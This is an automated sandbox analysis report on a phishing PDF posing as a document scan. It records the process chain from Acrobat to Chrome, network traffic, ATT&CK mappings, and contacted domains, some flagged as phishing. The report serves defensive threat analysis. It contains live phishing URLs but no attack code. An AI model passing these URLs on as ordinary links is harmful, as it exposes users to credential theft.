Edit tour

Windows Analysis Report
DocuStream_Scan_l8obgs3v.pdf

Overview

General Information

Sample name:	DocuStream_Scan_l8obgs3v.pdf
Analysis ID:	1577588
MD5:	f92ff59b1795ab2d4a9fd6b1c2d1500e
SHA1:	a076e31a7ff8eda82b96acfe649eb99462d2324b
SHA256:	3e144154494d554f1f6c78518290bb313a306437c606270cd915e9e54c6bd95d
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Yara detected HtmlPhish44

AI detected suspicious Javascript

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

Acrobat.exe (PID: 6852 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\DocuStream_Scan_l8obgs3v.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6352 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6584 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1728 --field-trial-handle=1564,i,11462845564946610434,2763012382763733277,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7748 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://8h2f94s.actransbelgium.be/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1800,i,6271226444330122957,6168342489889164965,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_175	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/319870471:1734527670:qf-7ztt3uzBMURdDvzCWITlC6yGGHlHl0FAfY7-tHMo/8f3fa3fe4ef88c24/KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3244sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sgsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 18 Dec 2024 13:53:46 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Fri, 30 Sep 2022 11:51:03 GMTAccept-Ranges: bytesContent-Length: 11816Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 18 Dec 2024 13:53:48 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: r8TeZaJmWek3IT+rMQUbRB7fXyy5SDxI1lQ=$STNsErfYJUOAydroServer: cloudflareCF-RAY: 8f3fa4292d15c35b-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 18 Dec 2024 13:53:55 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: 4+RvzyocIOT5F3mXa8id84i1614UCoOV9ss=$ZZrDGTP38GVE30rtcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f3fa454caa1c409-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 18 Dec 2024 13:54:24 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: +RD9S3ANcDX/rY4QOmcCYv6oVpWCSQ/8kB4=$e4zURsCoMNmxk2KHServer: cloudflareCF-RAY: 8f3fa5068b320f9d-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 18 Dec 2024 13:54:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Age: 13692Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UlL3Dr72cHjKIFGxJ57dOJwyiPkLVhJCTjIOOpkNUo6Zz81yZU4NFAPp3jZe5ExrqLI%2FRtworKVLdT0dj302AwekLcs0y92ic%2BXPWehNLfay%2Fb5sT%2FDW%2BBamoh6w4g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2556&min_rtt=1248&rtt_var=2047&sent=230&recv=66&lost=0&retrans=0&sent_bytes=267080&recv_bytes=12258&delivery_rate=38335461&cwnd=263&unsent_bytes=0&cid=bffac2117ab6160f&ts=32082&x=0"CF-Cache-Status: HITServer: cloudflareCF-RAY: 8f3fa5291937f797-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1647&rtt_var=641&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1892&delivery_rate=1678160&cwnd=161&unsent_bytes=0&cid=20adc21a44646202&ts=4297&x=0"

Source: chromecache_171.14.dr	String found in binary or memory: http://code.jquery.com/jquery-3.3.1.min.js
Source: 77EC63BDA74BD0D0E0426DC8F80085060.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_171.14.dr	String found in binary or memory: http://gmpg.org/xfn/11
Source: 2D85F72862B55C4EADD9E66E06947F3D0.5.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_170.14.dr, chromecache_179.14.dr	String found in binary or memory: https://32.ergeane.ru/yNriUGk0/
Source: DocuStream_Scan_l8obgs3v.pdf	String found in binary or memory: https://8h2f94s.actransbelgium.be/)
Source: chromecache_177.14.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback
Source: f2d7866f-456f-43ed-88fb-57186d2d4e79.tmp.6.dr	String found in binary or memory: https://chrome.cloudflare-dns.com

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal60.phis.winPDF@36/80@20/11

Source: DocuStream_Scan_l8obgs3v.pdf

Initial sample: https://8h2f94s.actransbelgium.be/

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-18 08-53-02-883.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\DocuStream_Scan_l8obgs3v.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1728 --field-trial-handle=1564,i,11462845564946610434,2763012382763733277,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://8h2f94s.actransbelgium.be/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1800,i,6271226444330122957,6168342489889164965,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://8h2f94s.actransbelgium.be/	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1728 --field-trial-handle=1564,i,11462845564946610434,2763012382763733277,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1800,i,6271226444330122957,6168342489889164965,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: DocuStream_Scan_l8obgs3v.pdf	Initial sample: PDF keyword /JS count = 0
Source: DocuStream_Scan_l8obgs3v.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: DocuStream_Scan_l8obgs3v.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://8h2f94s.actransbelgium.be/main.js	0%	Avira URL Cloud	safe
https://8h2f94s.actransbelgium.be/favicon.ico	0%	Avira URL Cloud	safe
https://8h2f94s.actransbelgium.be/)	0%	Avira URL Cloud	safe
https://32.ergeane.ru/favicon.ico	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.66.137	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
cdn.prod.website-files.com	104.18.161.117	true	false	high
www.google.com	142.250.181.132	true	false	high
32.ergeane.ru	104.21.32.225	true	true	unknown
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://8h2f94s.actransbelgium.be/	false		unknown
https://challenges.cloudflare.com/turnstile/v0/b/787bc399e22f/api.js	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8f3fa3fe4ef88c24/1734530026577/8iLkAWsacI_1SIW	false		high
https://8h2f94s.actransbelgium.be/main.js	false	Avira URL Cloud: safe	unknown
https://8h2f94s.actransbelgium.be/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8f3fa3fe4ef88c24/1734530026578/356daef646888f2e76339107b9f588168a5a53239e73958162a009c51a45520c/rdwSaCtoyOJQhv2	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/319870471:1734527670:qf-7ztt3uzBMURdDvzCWITlC6yGGHlHl0FAfY7-tHMo/8f3fa3fe4ef88c24/KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg	false		high
https://32.ergeane.ru/yNriUGk0/	true		unknown
https://32.ergeane.ru/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f3fa3fe4ef88c24&lang=auto	false		high
https://cdn.prod.website-files.com/5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://chrome.cloudflare-dns.com	f2d7866f-456f-43ed-88fb-57186d2d4e79.tmp.6.dr	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.5.dr	false		high
https://8h2f94s.actransbelgium.be/)	DocuStream_Scan_l8obgs3v.pdf	false	Avira URL Cloud: safe	unknown
http://code.jquery.com/jquery-3.3.1.min.js	chromecache_171.14.dr	false		high
http://gmpg.org/xfn/11	chromecache_171.14.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
